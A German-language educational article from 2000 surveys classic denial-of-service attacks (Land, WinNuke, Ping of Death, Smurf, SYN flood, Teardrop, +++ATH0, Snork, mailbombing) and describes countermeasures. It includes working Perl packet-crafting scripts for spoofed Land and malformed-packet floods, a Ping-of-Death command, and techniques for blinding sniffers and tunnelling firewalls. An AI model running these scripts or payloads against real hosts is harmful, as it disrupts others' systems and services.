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DoS (Denial of Service)
Geschrieben von Marc Ruef <mailto:marc.ruef@computec.ch?subject=DoS
(Denial of Service)> für
http://www.computec.ch/
Version 3.1b 02. April 2000
1.0 Inhaltsverzeichnis
1.0
Inhaltsverzeichnis
2.0
Einführung
3.0 Land
3.1
Angriffsmöglichkeiten
3.2
Schutzmassnahmen
4.0 OOB
(Out of Band)
5.0
IP-Fragmentierung (Ping of Death)
5.1
Angriffsmöglichkeiten
5.2
Schutzmassnahmen
6.0
Smurf
7.0
SYN-Flooding
8.0
Teardrop
9.0
Ping-AT-Attacke
10.0
Snork
10.1
Schutzmöglichkeiten
11.0
Mailbombing, Spam, Junk-Mail
11.1
Die Geschichte des Spam
11.2
Die Lage heute
11.3
Schutzmöglichkeiten
2.0 Einführung
Denial of Service ist ein Synonym für die Kunst bzw. den Unsinn des
Verhinderns eines Zugriffs oder Nutzens eines Computers. Denial of
Service bedeutet soviel wie etwas unzugäglich machen, oder ausser
Betrieb setzen. Diese Attacken nutzen immer Bugs und Schwachstellen von
Programmen, Betriebssystemen oder Fehlimplementationen von Protokollen
aus. Es existieren daher auch verschiedene Formen einer DoS-Attacke.
Entgegen der allgemein gültigen Meinung können auch Netzwerkscanner,
Sniffer und IDS (Intrusion Detect Systeme) von solchen Angriffen
betroffen sein. Der Grund dafür ist, dass Sniffer stets auf dem Kernel
des Betriebssystems aufbauen, und somit von ihm abhängig sind. Sniffer
müssen einen eigenen TCP/IP-Stack besitzen, da ihnen sonst das Ausführen
eines Trace einer Netzwerkverbindung verwehrt bleiben würde. Die meisten
freien und kommerziellen Scanner haben dabei ein kleines Problem: Sind
sie auf Spurenverfolgung einer Verbindung, so sind sie nicht mehr in der
Lage, andere Verbindungen gleichzeitig zu observieren. Um diese Aufgabe
bewältigen zu können, müssten sie gleichzeitig die Arbeit aller
TCP/IP-Stacks im Netzwerk auf sich nehmen, wobei dies von der
Rechenleistung einer einzelnen CPU nicht verlangt werden kann. Daher
entgeht ihnen stets ein grosser Prozentsatz des gesamten Traffics.
Ein Angreifer muss sich bei einer dynamischen Attacke stets auf zwei
Rechner beschränken, wie dies bei aktiven IDS (Intrusion Detection
Systeme) der Fall ist. Sniffer und Netzwerkscanner, die auf einem Server
zur Überwachung eines einzelnen Ports abgerichtet sind, können mit einem
einfachen Trick sillgelegt werden: Bevor er sich zum Beispiel via Telnet
auf Port 23 einloggt, sendet er ein gespooftes SYN-Paket. Falls ein
Sniffer nun aktiv ist, wird er logischerweise nach Erhalt und Analyse
des gespooften Pakets die Verbindung auf Port 23 im Auge behalten. So
kann sich der Angreifer danach einloggen, ohne dass der Sniffer das
Passwort mitscannen kann. Nach einer gewissen Zeit, wenn der
TCP/IP-Stack die Verbindung aufgrund des Timeouts kappt, ist der Sniffer
wieder regulär aktiv.
Ein weiteres Problem besteht darin, dass ein Sniffer nicht wirklich
in eine Verbindung hineinschauen kann. Er nimmt also am Datenaustausch
nicht bei, wie das bei den beiden beobachteten Rechnern der Fall ist. Er
trifft aus diesen Gründen bezüglich IP- und TCP-Paketlänge bestimmte
Annahmen und interpretiert die Pakete nach diesem Standartschema. Wird
nun eine Änderung bezüglich der Länge des TCP-Headers und der
sporadischen Einschleusung von falschen Prüfsummen vorgenommen, die
nicht mehr der zuvor errechneten Länge entsprechen, kann er die Inhalte
der Pakete nicht mehr korrekt interpretieren. Der Sniffer überprüft die
TCP-Prüfsummen nicht mehr, wobei die Kernel der betroffenen Systeme
diese "falschen" Pakete einfach verwerfen werden und somit die
Übertragung korrekt ausführen. Sniffer brechen zum Teil auch nach einem
FIN- oder RST-Paket ihre Überwachung ab. Befindet sich einer dieser
jedoch in einem TCP-Paket mit weit entfernter Sequenznummer, so werden
die zu überwachenden Rechner dieses verwerfen und mit ihrer Übertragung
normal fortfahren. Der Sniffer hingegen hält die Verbindung für beendet,
und er stellt seine Arbeit ein. Manche Betriebssysteme, wie zum Beispiel
Windows NT und Digital Unix, überprüfen bei einem RST die
TCP-Sequenznummern nicht. Sind also auf einem solchen System Sniffer
aktiv, ist es einem Angreifer leicht möglich, diese mit einem gespooften
Paket mit gesetztem RST-Flag in einen passiven Zustand für die kommenden
Pakete zurückzusetzen.
3.0 Land
Diese Angriffsart ist seit Ende 1997 bekannt, und es handelt sich
hierbei um eine der letzten Varianten der DoS-Attacken, welche
beachtliche Popularität erlangte. Durch die Land-Attacke wird ein sehr
komplexer Angriff ausgeführt, welcher ein SYN-Paket mit identischer
Absender- und Empfängerport erzeugt. Anschliessend wird dieses Paket an
einen offenen Port gesendet, wo das Paket durch die vielen IP-Stacks
eine Art Race-Condition erzeugt, und dadurch das System des Opfers
lahmlegt.
3.1 Angriffsmöglichkeiten
Hier nun einige Beispiele für Land-Angriffe:
#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('i:p:');
$a = new Net::RawIP;
die "Usage $0 -i <target> -p <target port>" unless
($opt_i
&& $opt_p);
$a->set({ ip => {saddr => $opt_i,
daddr => $opt_i
},
tcp=> {dest => $opt_p,
source => $opt_p,
psh => 1,
syn => 1}
});
$a->send;
Die Flags (psh, syn,...) können beliebig im vorgegebenen Rahmen
verändert werden, wobei bei korrekten Kombinationen Windows
NT-Cluster (Tandem, Wolfpack,...) aussteigen.
Eine andere Möglichkeit besteht in einem simpel erscheinenden
Ping:
#!/usr/bin/perl
use Net::RawIP qw(:pcap);
$a = new Net::RawIP ({icmp =>{}});
$a->set({ip => {saddr => 'www.intra.net', # insert your site
here !
daddr => $ARGV[0]},
icmp => {type => 8, id => $$}
});
$device = 'eth0'; # insert your device here !
$filt = 'ip proto \\icmp and dst host my.site.lan';#
insert
your site here!
$size = 1500;
$tout = 30;
$pcap = $a->pcapinit($device,$filt,$size,$tout);
$i =0;
if(fork){
loop $pcap,-1,\,\@a;
}
else{
sleep 2;
for(;;){
$a->set({icmp => {sequence => $i,data => timem()}});
$a->send(1,1);
$i++
}
}
sub dmp{
my $time = timem();
$a->bset(substr($_[2],14));
my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence
data)]});
printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f
ms\n",length($ar[2])+8,
,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000);
}
Folgender Quelltext kann unter Umständen seinen Sinn verlieren,
da sich verschiedene Unix-Distributoren, darunter Linux 2.2 und BSD,
dass dank einem Prüfsummencheck im eigenen Betriebssystem bösartige
Pakete die eigene Netzwerk-Device nicht verlassen dürfen. Um die
Wirkung des Quelltextes zurückzugewinnen, muss unter Linux der
direkte Zugriff der Device im Kernel durch das Setzen der Y-Flag von
"Socket" und "Config Netlink Socket" erfolgen. Dadruch haben jedoch
auch einfach User des Systems Zugriff auf die Netzwerkdevice. Diese
Option sollte man als Systemadministrator stets deaktiviert haben,
da sonst User Angriffe vom eigenen WWW-Server mittels CGI-BINs
fahren können.
Mit folgendem Beispiel wird ein weiterer Angriff gestartet, wobei
"saddr" und die TCP/IP-Flags zu varriieren sind:
#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('t:n:');
die "Usage $0 -t <ip of the target> -n <thousands of the
times>"
unless ($opt_t && $opt_n);
@data = split (//,"0"x20);
$p = new Net::RawIP({
ip => {
ihl => 11,
tot_len => 44,
tos => 0,
ttl => 255,
id => 1999,
frag_off => 16383,
protocol => 17,
saddr => '1.1.1.1',
daddr => $opt_t
},
generic => {}
});
$p->optset(ip => { type => [@data] , data => [@data] });
$p->send(0,$opt_n*1000);
3.2 Schutzmassnahmen
Die Auswirkungen waren relativ begrenzt, da viele Rechner schon
durch Updates, Patches und Bug-Fixes gegen andere DoS-Attacken
geschützt waren, und die verschiedenen Systemadministratoren gewisse
Vorkehrungen trafen, um auch diese Attacke wirkungslos erscheinen zu
lassen. Eine Besonderheit von Land war jedoch, dass die weit
verbreiteten, und oft an zentralen Knotenpunkten der Netze
installierten Cisco-Router von den Attacken betroffen waren.
Grunsätzlich sei gesagt, dass solche Test-Angriffe grundsätzlich
in isolierten lokalen Netzwerken ausgeführt werden sollten, dagerade
Pakete, die fehlerhafte Prüfsummen generieren, innerhalb einer
Collision Domain viele TCP/IP Stacks von Arbeitsstationen oder
insbesondere auch Netzwerkdruckern zum Absturz bringen können. Alle
diese Pakete lassen sich z.B. auch mit der Broadcast Adresse
255.255.255.255 als Zieladresse oder mit Multicast-Adressen
(224.255.255.255) generieren. Diese werden dann eventuell auch in
benachbarte Netze übertragen, weil eventuell ein VLAN-Switch diese
überträgt.
Das folgende Skript ist völlig harmlos, weil es nur die Flags des
TCP-Stacks abfragt. Es kann dazu dienen, das Betriebssystem hinter
einer Firewall zu bestimmen, solange diese keinen eigenen
TCP/IP-Stack besitzt, bzw. die Pakete als Stateful Paket Filter
(SPF) einfach nur an einer Seite durchgereicht werden. Mit diesem
Script kann erkannt werden, wie unterschiedlich Firewalls arbeiten,
und wozu so eventuell nichts taugen bzw. ihre Kosten gerechtfertigt
sind:
#!/usr/bin/perl
# Simple
script for educational purposes
# It
prints to STDOUT flags tcp packets from ftp server and client
use
Net::RawIP;
require
'getopts.pl';
Getopts('i:d:n:');
die
"Usage $0 -i <ftp server> -d <eth device> -n <number packet for
receive>"
unless
($opt_d && $opt_d && $opt_n);
print
"Now please login to your ftp server\n";
@flags = qw/URG ACK PSH RST SYN FIN/;
$filter = "dst host $opt_i and dst port 21";
$filter1 = "src host $opt_i and src port 21";
$psize = 1500;
$device = $opt_d;
$timeout = 500;
if(fork()){
$a = new Net::RawIP;
my $pcap = $a->pcapinit($device,$filter,$psize,$timeout);
loop $pcap,$opt_n,\,\@a;
}
else {
$b = new Net::RawIP;
my $pcap = $b->pcapinit($device,$filter1,$psize,$timeout);
loop $pcap,$opt_n,\,\@a;
}
sub cl {
$a->bset(substr( $_[2],14));
my @fl = $a->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Client -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n"
}
sub sv {
$b->bset(substr( $_[2],14));
my @fl = $b->get({tcp=>
[qw(psh syn fin rst urg ack)]
});
print "Server -> ";
map { print "$flags[$_] " if $fl[$_] } (0..5);
print "\n";
}
System-Administratoren sollten ihre Router im Intranet stets so
konfigurieren, dass Broadcast-Domains möglichst klein bleiben.
Leider könnte es passieren, dass Windows NT-PDCs und -BDCs in
grossen Netzwerken nicht mehr korrekt funktionieren. Entweder man
setzt dann in jeder Abteilung Firewalls ein, die einen eigenen
TCP/IP Stack besitzen, oder man schafft NT-Server im Unternehmen
grundsätzlich ab.
4.0 OOB (Out of Band)
OOB (Out of Band) ist ein Feature von TCP (Trasmission Control
Protocol) das es erlaubt, Daten auserhalb der Reihenfolge (out-of-band)
zu senden. Dies ist zum Beispiel nützlich für die Behandlung von
[Ctrl]+[C] in Telnet-Verbindungen. Weniger nützlich wenn am anderen Ende
was ausreichend altes von Microsoft hängt - dieses mag OOB-Daten an
vielen Stellen garnicht.
Schuld an der Möglichkeit einer solchen Attacke war die fehlerhafte
Implementierung von NetBEUI durch Microsoft: Sobald über die Ports 135
und 139 ein paar Daten oder wirre Zeichen eintrafen, die nicht der Norm
entsprachen, stürzte das betroffene System ab.
Das erste OOB-Tool war WinNuke, und erblickte laut verschiedenen
Quellen am 7. Mai 1997 die Welt. Durch IRC (Internet Relay Chat) und
verschiedene Newsgroups erreichte WinNuke bald eine gewisse Popularität
und Verbreitung. OOB-Attacken verlieren jedoch zunehmends an Bedeutung,
da Windows 98 und 2000 gegen solche Angriffe bereits gefeilt ist. Bei
Windows 95 und NT mussten noch Updates installiert werden, um diese
Attacke wirkungslos erscheinen zu lassen.
Erschreckend ist ganz sicher die unglaubliche Einfachheit und
Primitivität dieses Fehlers, der dazu führte, dass es in kürzester Zeit
eine Unmenge von OOB-Nuke-Tools gab. Die OOB-Nuker wurden stetig
perfektioniert: So konnte man neben Massen-Nuke auch "Abschiessgründe"
senden und anschliessend sogar verifizieren lassen, ob der Rechner des
Opfers tatsächlich crashte, indem versucht wurde der Zielrechner mit
einem ICMP-Ping zu erreichen.
5.0 IP-Fragmentierung (Ping of
Death)
Ein einzelnes IP-Paket ist inklusive Header maximal 65'535 Bytes
lang, Ethernet-Pakete können jedoch maximale 1'500 Bytes Daten
übertragen. Grössere Pakete werden fragmentiert und beim Empfänger
wieder defragmentiert, wobei die Zusammensetzung anhand eines
Offset-Wertes erfolgt. Dies wird gemacht, um Netzwerkabschnitte zu
überwinden, welche lediglich eine maximale Paketlänge unterstützen.
Jedes Paketfragment erhält neben dem Offset-Wert auch noch eine
Identifikationsnummer, aber nur das erste enthält den TCP-Header und
damit die Port-Nummer. Dieser Offset-Wert bestimmt für jedes Fragment,
wohin es gehört oder wohin es soll. Dadurch ist es möglich, dem letzten
Fragment einen Offset zu geben, der inklusive Fragmentgrösse einen
grösseren Wert als die maximalen 65'535 Bytes ergibt. Dieses übergrosse
Ping-Paket erzeugt anschliessend einen Buffer-Overflow. Dieser Angriff
funktioniert nicht nur mit ICMP und Ping, sondern auch mit UDP und TCP.
Obwohl ein ordentlicher Ping-Befehl keine Pakete grösser als 65'507
Bytes (65'535 Bytes abzüglich 20 Bytes IP-Header und 8 Bytes
ICMP-Header) zulässt, bot bei den ersten Versionen von Windows 95 der
dort implementierte Ping-Befehl das antsprechende Feature in Form eines
Parameters. Einfach "ping -l 65510 zielhost" eingeben, und der
Todes-Ping wird ausgeführt.
5.1 Angriffsmöglichkeiten
Als eine der erfolgreichsten Angriffsmöglichkeiten gegen Sniffer
sind solche mit fragmentierten IP-Paketen. TCP-Filter können auch in
der Regel nicht mehr sicher unterscheiden, ob die Paket ins interne
Netz gelassen werden dürfen, da die Port-Information bei den meisten
Paketen fehlt. Wenn die Zielstation nun auch noch unvollständige
Paketfragmentfolgen auswertet - und jene auch nicht verwirft - kann
eine Firewall ohne grössere Probleme umgangen werden.
Ein einfacher aber wirkungsvoller Angriff, der IP-Fragmentierung
ausnutzt, ist der sogenannte "overlapping fragment attack" nach RFC
1858. Die derzeitige
Internet-Protokoll Spezifikation RFC 791 beschreibt einen
Reassemblierungs-Algorithmus, der neue Fragmente produziert und
dabei jeden überlappenden Teil der
zuvor erhaltenen Fragmente überschreibt. Wird ein solcher
Algorithmus angewendet, so kann ein Angreifer eine Folge von Paketen
konstruieren, in denen das erste Fragment (mit einem Offset der
Länge Null) harmlose Daten beinhaltet (und dadurch von einem
Paketfilter weitergeleitet werden kann). Ein beliebiges
nachfolgendes Paket mit einem Offset, der größer als Null ist,
könnte TCP-Header-Informationen (z.B. destination port) überlappen.
Diese würden durch den Algorithmus modifiziert (überschrieben).
Dieses zweite Paket wird von vielen Paketfiltern nicht gefiltert.
Gegenmaßnahme hierzu ist, Paketfilter zu verwenden, die ein Minimum
an Fragment Offset für Fragmente verlangen. Nur wenige neuere
TCP/IP-Stacks erkennen dieses Problem und korrigieren dieses. Ältere
Router lassen sich mit diesem Trick einfach durchtunneln, sie bieten
keinen Schutz. Besonders aber Firewalls, die auf der Basis der
Stateful Paket Filterung (SPF) arbeiten, wie z.B. RAPTOR EAGLE und
FIREWALL-1 liessen sich so durchtunneln. Content-Anbieter im
Internet und ISP´s, die mit diesen Firewalls NT-Server schützen
wollten, wurden so Ziel der unzähligen Angreifer, die neue Exploits
mal testen wollten.
5.2 Schutzmassnahmen
Anfang 1997 war von dieser Attacke so ziemlich alles betroffen,
was einen IP-Stack hatte. Von der Workstation bis zum Drucker war
damals praktisch nichts dagegen gewappnet. Abhilfe schafft nur eine
vollständige Reassemblierung der TCP/IP-Pakete oder der Einsatz
eines Proxy. Nachteil dieser Lösung ist ein enormer Einbruch in der
Performance, der den Vorteil der SPF-Firewalls völlig zunichte
macht. Dies zeigt aber, daß Firewalls keineswegs perfekt sind. Will
man solchen Angriffen zuvorkommen, so ist man als Betreiber eines
mission critical Systems auf die ständige Betreuung eines Experten
angewiesen. Da von diesem Angriff nur spoofende Versionen
existieren, können die Täter oft nicht aufgespürt werden.
6.0 Smurf
Wenn man auf eine Broadcastadresse einen Ping schickt, erzeugt dieser
je nach antwortendem Rechner eine beachtliche Anzahl an Antworten. Der
Trick besteht darin, die Absenderadresse zu fälschen, so dass das Opfer
die Antworten erhält. Sendet man nun rund 1'000 Pakete pro Sekunde, und
1'000 Rechner ant-worten darauf, bedeutet dies also, dass 1'000'000
Pakete pro Sekunde beim Opfer eintreffen. Die verursacht einen solchen
Traffic, dass der Rechner des Opfers unter dem enormen Verkehr
zusammenbricht.
Dieses Problem war unter dem Namen "ICMP Storm" schon länger bekannt,
gewann jedoch erst durch das im Oktober 1997 erscheinende Tool "Smurf"
an Bedeutung für Datenreisende.
Zahlreiche Provider wurden durch solche Attacken tagelang arg
bedrängt. Dieses Problem lässt sich jedoch durch einen einfachen Trick
beheben, indem man an den Routern die IP-Broadcasts nicht mehr in
Ethernet-Broadcasts umsetzen lässt, und jene somit Aussen vor bleiben.
7.0 SYN-Flooding
TCP-Verbindungen werden nach einem Drei-Wege-Handshake aufgebaut,
indem zuerst ein SYN-Paket gesendet wird, darauf mit einem SYN/ACK-Paket
geantwortet wird, und anschliessend die Bestätigung mittels eines ACK
Bestätigung findet.
Nun besteht die SYN-Flood-Attacke daraus dem Opfer beim Handshake
eine falsche Absenderadresse zu übermitteln. Das SIN/ACK-Antwortpaket
wird also ins Nirgendwo beantwortet. Wenn nach einiger Zeit keine
Rückantwort des ACK-Paketes erfolgt, wird der Verbindungsversuch als
erfolglos abgebrochen. Nutzt man jedoch nun die Zeit bis zum Abbruch
damit, dem Opfer eine Unmenge von SYN-Paketen zu schicken, und ihn somit
zu überfluten, wird der Rechner des Opfers in die Knie gehen.
Hier ein Beispiel eines solchen Konversation:
Der Angreifer sendet das Paket SYN 1 an sein Opfer.
Das Opfer antwortet automatisch auf SYN 1 und wartet auf ACK 1.
Der Angreifer sendet SYN 2.
Das Opfer antwortet auf SYN 2, wartet nun auf ACK 1 und ACK 2.
Der Angreifer sendet nun Paket SYN 3.
usw.
...
Diese Flood-Attacke erlebte besonders im Herbst 1996 grossen
Aufschwung.
8.0 Teardrop
Nahezu wie der "Ping of Death" macht sich "Teardrop" die
Fragmentierung von IP-Paketen zunutze. Während beim "Ping of Death" eine
übergrosse Fragmentierung erzeugt wird, überlappen sich die Fragmente
bei einer Teardrop-Attacke einfach, und bringen so Windows und Linux ins
Schwitzen, und schlussendlich zum Crash.
Auch diese Attacke wurde gegen Ende 1997 besonders oft gesichtet.
Dem Schrecken wurde aber schnell mit Patches und Updates ein Ende
gesetzt.
9.0 Ping-AT-Attacke
Der amerikanische Modemhersteller Hayes hat Ende der siebzigerjahre
eine einheitliche, zeilenorientierte und öffentliche Befehlssprache für
Modems entwickelt, welche die sogenannten AT-Befehle enthält. Durch
diese Befehle wird es möglich, dass jedes Modem angesprochen werden
kann, in welches diese einheitliche Sprache implementiert wurde. Man
kann sagen, dass dies heute praktisch bei allen Modems der Fall ist, so
dass jene Modems von den Betriebssystemen und der Software einheitlich
angesprochen werden kann. Sobald sich ein Modem im Offline-Modus
befindet, kann es über AT-Befehle angesprochen werden. Findet ein
Wechsel in den Online-Modus statt, kann das Modem nicht mehr mittels der
AT-Befehle angesprochen werden, da es sich im Übertragungsmodus
befindet. Dies kann verhindert werden, indem man dem Modem die
Zeichenkette des dreimaligen Drückens des Escape-Zeichens sendet,
welches als "+++" gekennzeich-net wird. Dabei wird in den
Kommandomodus gewechselt. Aus Sicherheitsgründen muss zwischen diesem
Umschaltkommando in den Kommandomodus und den ersten AT-Befehl
mindestens eine Pause von einer Sekunde vorhanden sein. Einige
Modemhersteller vezichten aus patentrechtlichen Gründen auf eine solche
Pause, so dass bei jenen Modellen der Umschaltbefehl in den
Kommandomodus und ein kompletter AT-Befehl direkt hintereinander
eingegeben werden können. Diese Voraussetzung eignet sich für einen
gemei-nen Angriff: Man schicht an einen Empfänger über das Internet ein
spezielles Ping-Paket, welches zum Bei-spiel die Sequenz "+++ATH0"
enthält, was das Umschalten in den Kommandomodus und Beenden der
Ver-bindung bedeutet. Laut Ping-Protokoll antwortet der Rechner des
Empfängers auf die Ping-Anfrage mit der Spiegelung des Paketes. Kennt
das Modem nun die oben genannte Pause zwischen dem Umschalten und dem
darauffolgenden AT-Paket nicht, wird es den Paketinhalt des
Antwort-Pings als abzuarbeitende Sequenz interepretieren, und die
Verbindung trennen.
10.0 Snork
Ende September des Jahres 1998 machte die ISS X-Force auf
http://xforce.iss.net/alerts/advise9.php3 auf eine neue DoS-Attacke
gegen den Windows NT RPC-Service aufmerksam, welche vom Aufbau her
vergleichbar mit den Attacken "Smurf" und "Fraggle" ist. Diese Attacke
erlaubt es einem Angreifer mit minimaler Ausstattung einem entfernten
Windows NT-Rechner 100 % der Prozessor-Leistung und einen grossen
Anspruch der Bandbreite zeitweilens in Anspruch zu nehmen. Die
Verwundbarkeit für Snork ist auf Windows NT 4.0 Workstations und Servern
bis und mit Service-Pack SP4 RC 1.99 vorhanden.
10.1 Schutzmöglichkeiten
Microsoft hat einen Patch gegen diese Attacke herausgegeben, der
sich unter
http://www.microsoft.com/security/bulletins/ms98-014.htm findet.
Netzwerkadministratoren können interne Systeme von externen Attacken
abschirmen, indem folgende Filter-Regel im Router oder der Firewall
eingegeben wurde: Alle einkommenden UDP-Pakete filtern, die den
Destinations-Port 135 und als Source-Port 7, 19 oder 135 haben.
Viele Firewall-Komponenten haben diese Regel schon aktiviert, und
sind deshalb schon out of the box gegen Snork-Attacken gerüstet.
11.0 Mailbombing, Spam, Junk-Mail
11.1 Die Geschichte des Spam
Spam gilt heute als den Erhalt unerwünschter (Werbe-)Sendung in
Form von E-Mails. Doch früher würde dieser Ausdruck in den Gefilden
des Usenets gebraucht: Dort wurde damals das Erzwingen des
physikalischen Speicherns ein und der selben Nachricht auf
verschiedenen News-Servern so genannt.
11.2 Die Lage heute
Mailbombing ist zusammen mit OOB-Attacken eine der populärsten
Formen der DoS-Attacken und wird vorzugsweise von meist jugendlichen
Tätern im Alter zwischen 14 und 18 Jahren ausgeübt. Dabei wird
entweder eine enorm grosse Nachricht in Form einer E-Mail an die
Zieladresse geschickt, oder mit tausenden von Nachrichten
bombadiert. Die dadurch erreichbaren Ziele sind das Verstopfen eines
bestimmten Mail-Accounts, oder gleich das Verlangsamen oder gar
Herunterreissen eines Mail-Servers. Solche Mail-Bombing-Attentate
können ohne grössere Probleme durch im Internet erhältliche
Programme durchgeführt werden.
11.3 Schutzmöglichkeiten
Als erstes sollte im Netz nur ungern die private Mail-Adresse
publuziert werden. Öffentliche Auftritte sollten höchstens mit der
Angabe einer sekundären Mail-Adresse bei einem Free-Mail-Anbieter,
wie zum Beispiel yahoo.de, hotmail.de oder gmx.ch quittiert werden.
Dadurch erschliesst sich der Vorteil, dass die Hauptadresse
möglicherweise keinen Attacken standhalten muss. Ein vollgemüllter
Free-Mail-Account lässt sich auch ohne grössere Probleme säubern
oder notfalls ganz löschen.
Eine weitere Schutzmassnahme ist das Filtern eingehender Mails.
Am besten sollte dies schon beim Mail-Gateway durchgeführt werden,
falls im Unternehmen ein solcher vorhanden sein sollte. Die
Filterrregeln lassen sich bei zeitgemässen Programmen relativ
komfortabel einstellen: So können zum Beispiel bestimmte Absender,
Betreff- oder Mail-Inhalte boykottiert werden. Um unnötigen Traffic
und mögliche Drittpersonen nicht unnötig zu belasten, sollten keine
Strike-Back-Attacken oder Error-Replies genutzt werden, denn meist
nutzen Angreifer gestohlene oder fiktive Absender-Adressen, die
solche Antworten gar nicht honorieren würden.
Siehe auch
ICMP, SMTP,
TCP
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